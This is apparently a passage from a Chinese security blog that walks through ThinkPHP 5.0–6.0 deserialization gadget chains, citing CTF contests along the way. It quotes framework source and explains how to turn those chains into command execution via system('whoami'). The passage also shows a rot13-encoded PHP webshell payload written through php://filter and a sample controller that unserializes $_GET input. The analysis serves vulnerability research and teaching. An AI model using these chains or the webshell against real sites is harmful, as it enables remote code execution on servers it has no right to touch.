12
13
14
15
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

在这里我们又一次调用了set。并且两个参数全部可控。所以最后循环调用我们就知道,写入文件的文件名为md5('tag_' . md5($this->tag)).'.php'。内容为$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

当然。这里显然存在一个绕过死亡exit的问题。使用rot13即可。然后rot13的payload绕不过默认的短标签。所以会需要加过滤器组合拳。除了常见的base64,WMCTF中使用到其他的iconv或者其他组合也是可行的。
原理不再赘述
那么。控制payload只要控制File类$this->options['path'] = php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>即可。

执行exp打的话。会发现存在两个文件。这是上面我们调用了两次set的缘故。而文件名由我们的$tag决定。具体计算方法也在上面提及了。当然最好的方法永远是本地自己打一遍。这样才能确信文件名这种远程不可见的东西。

另外我相信大家肯定发现这个pop链有个变招。那就是linux,windows通用的写目录。回到上面getCacheKey

1
2
3
4
5
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}

只要把$this->options['path']设置为目录的话。直接可以写755权限目录。

SCTF2020 考察tp5.024那道题当时使用了python脚本高强度删文件。导致我以为当前目录不可写。但是换成写目录的payload后发现可以创建目录。并且可以存在相同于靶机重启时间的3分钟。所以使用这种payload黑盒探测不失为一种办法。

tp5.1.x-unserialize

今天来跟下5.1的pop链。相比5.0而言思路大致相同。只有几个类的区别。并且其exp已经集成到phpggc上了。

还是从起点开始看。跟昨天5.0的链子是一样的。从Windows类开始。然后=>file_exists => toString()。然后接着全局搜索。此处利用Conversion的toString() => __toJson() => toArray()
而不是5.0中的Model类

看到thinkphp\library\think\model\concern\Conversion.php
中的toArray() .我们同样寻找可以触发__call()的代码

此处主要是$relation->visible($name)会触发__call.选择这一处的代码是因为,relation来自$this->getRelation($key).$name来自$this->append.
看到getRelation

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

我们要进入visble的分支。必须要$relation为空。所以$this->relation直接置空即可。

此时$relation$relation = $this->getAttr($key);决定。它会依次调用\thinkphp\library\think\model\concern\Attribute.php 的getAttr()与getData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
......

public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这样就能确认我们的$relation来自Attribute类的$this->data[$name].

现在需要注意的是。我们必须得找到一个既能调用Conversion还能调用Attribute属性的类。即继承了Attribute类和Conversion类的子类。这个其实就是我们之前5.0链子中用过的Model.php。
加上Model是抽象类。所以编写exp中使用它的子类Pivot实例化。这点不必多说。

接下来看$relation->visible($name)中的$name.它是遍历$this->append得到的。可控。只需注意将其赋值为数组即可。(因为要进入if (is_array($name))的分支)

既然已经拥有触发__call的条件了。我们现在找一个可用的__call。5.1版本中的gadget就是来自Request类的__call

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

显然$this->hook可以让我们控制为["visable"->"arbitrary method"]这个数组任意调用方法。但是注意array_unshift($args, $this)会强行把$this放到$args数组的第一位。其后果是怎样的呢?我们看下call_user_func_array

1
2
3
call_user_func_array([$obj,"arbitrary method"],[$this,$arg])
=>
$obj->$func($this,$argv)

这种方法执行几乎没有。所以这就限制我们要找一个不受这种调用方式影响的函数。

在以前tp5的漏洞分析中,曾经用到过think\Request类中的input 方法。里面有call_user_func($filter,$data)可以用于命令执行。
但是前面说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

整个Request类中一共有7处调用input方法的其他方法。我们选择param方法为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

调用了input方法但是只有一个$param是可控的。所以还要继续找调用param的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

isAjax方法返回值由$this->config['var_ajax']控制。那么等于控制了param的参数$name.等于控制了input 的参数$name.

最后再来到input方法这看调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

getData顺着看一下可控。且$data=$data[$name],$filter来自$this->filter.最后到了array_walk_resursive相当于直接对数组每一个值调用了回调函数$this->filterValue($filter)

1
2
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);

$this->filterValue是通过call_user_func执行的自然不必说了。
既然如此。控制$this->filter为system,$data数组第一个值为命令whoami之类的就可以执行命令了。

至此pop链就完整了。其实中间有个步骤就是解决call_user_func_array那找到不受定死参数影响的命令执行这块,主要思路就是利用thinkphp过滤器,覆盖filter的方法去执行代码。
而在找到input作为主要下手点时,call_user_func_array(array(任意类,任意方法),$args)$args 数组的第一个变量,即我们前面说的一个固定死的类对象会作为 $data 传给 input 方法,那么在强转成字符串的时候,框架就会报错退出。所以我们找不到就继续找上层调用input的函数。直到找到可控参数的函数isAjax.就能解决参数不可控的问题。

tp5.2.x-unserialize

5.2版本的链子貌似跟之前没啥区别。但是我composer一直安装不上。加上5.2版本作为dev版本本身出现的不多,所以这里用thinkphp-vuln里的例子简单提一下。

前面入手点大同小异。唯一有区别的地方在触发__call的代码$relation->visible($name)这。看似tp5.2已经把这句代码删了。但是实际上是被转移到了appendAttrToArray这个方法中。因此基本没有区别。我就不跟了。

放上几张图

真正的执行点在下面的$closure($value,$this->data)这里的动态调用。参数均可控。所以赋值命令执行的参数即可。

tp6.0.x-unserialize

今天重新看了下之前在 php框架反序列化练习 文章里的内容。才想起来5.2跟6.0的链子应该是跟过了。不过当时没有动态调试,理解也没那么深刻。所以还是再看一下。

还是老样子更改Index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\controller;

class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V6.x';
}
}

直接用wh1t3p1g 师傅集成好的。顺带也推荐下师傅在安全客上针对thinkphp链子的分析文章。

首先6.0版本的主要问题是前面5.*版本的利用起点Windows类都没了。也就是少了一个__destruct()。那么我们需要找到一个替代的__destruct作为起点。并且最好它能够在中间某个环节起到与其他链子相同作用比如触发__call,__toString之类的。这样的逻辑也是第5空间laravel那题的解题思路吧。因为跟过链子的人都知道只需要两个类就能rce.既然其中一个destruct被处理了。找一个替代的自然是最简单的办法。

vendor/topthink/think-orm/src/Model.php

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

构造lazySave为真值。进入save函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;

return true;
}

这里关键函数是updateData.不过既然如此我们不能进入上面那个if分支。
isEmpty与trigger

1
2
3
4
5
6
7
8
9
10
11
12
public function isEmpty(): bool
{
return empty($this->data);
}


protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
......

显然。需要
1.$this->data为非空数组。
2.$this->withEvent为false
3.$this->exists为true进入updateData函数

跟进到updateData后。我们不妨先看下哪一个函数可以利用,再回头考虑参数的构造。这里顺着看到checkAllowFields后

1
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

存在可控变量的拼接。那么我们就可以触发__toString了。在经历了前面几个版本的反序列化构造后,我们当然清楚tp5.1~5.2版本的链子分别是__destruct()=> __toString() => __call() => call_user_func_array / $closure($value,$this->data)的一系列调用。那么此处我们自然可以继续达成__toString来延续链子。

回头再检查updateData这的参数需要。首先第一个trigger我们已经满足条件了。然后if (empty($data))这个分支不能进入。那就要看向getChangedData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}

return $data;
}

$this->force为true.然后data就可控了。

接下来是回到利用函数checkAllowFields.拼接处之前的代码

1
2
3
4
5
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();

需要
1.$this->field为空进入分支
2.$this->schema为空进入else

看一眼db()

1
2
3
4
5
6
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

原来db()函数这里也有一个变量拼接……不过殊途同归。我们用哪一个都差不多。例如exp中链子是把$this->suffix作为触发的对象的。

然后后面就是一路畅通了。这里跟5.1(注意不是5.0,5.0 的 toString用的是model类的)一样用的是Conversion类里的__toString() => toJson => toArray => getAttr => getValue()

我们主要在getAttr,getValue里构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

public function getData(string $name = null)//$name='wh1t3p1g'
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {//$this->data = array("wh1t3p1g"=>"whoami");
return $this->data[$fieldName];//返回'whoami',回到getAttr
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

protected function getValue(string $name, $value, bool $relation = false)
{ //$name='wh1t3p1g' $value=‘ls’ $relation=false
// 检测属性获取器
$fieldName = $this->getRealFieldName($name); //该函数默认返回$name='wh1t3p1g'=$fieldName
$method = 'get' . App::parseName($name, 1) . 'Attr'; //拼接字符:getlinAttr

if (isset($this->withAttr[$fieldName])) { //['wh1t3p1g'=>'system']
if ($relation) { //$relation=false
$value = $this->getRelationValue($name);
}

$closure = $this->withAttr[$fieldName]; //$closure='system'
$value = $closure($value, $this->data);//system('whoami',$this->data
}
.......
return $value;
}

至此完成整条利用链。注意它的调用方法是system("whoami", ["wh1t3p1g"=>"whoami"]).这是一种合法调用。

小结下。tp所有系列反序列化链就这么多了。大体上思路都是一样的。只有5.0版本是较为复杂的写文件。其他版本都可以直接rce.魔术方法也基本都是destruct,toString,call调用。其中5.2,6.0是没有call的必要的。

tp6.0任意文件写

这个洞其实没必要跟了。就是年后ichunqiu战疫比赛时出现过的洞。session可以更改成32位.php后缀。然后如果session内容可控的话就相当于写了shell.这个还是比较常见的。

小结

没想到真的还是把这个项目的内容都跟完了。不得不说理解了一些原理后也就对tp系列payload的构造有了更深的理解。虽然大部分实战中黑盒基本测不出来就是了。

下一步在考虑是去看看laravel还是java的几个反序列化链子。加油吧

评论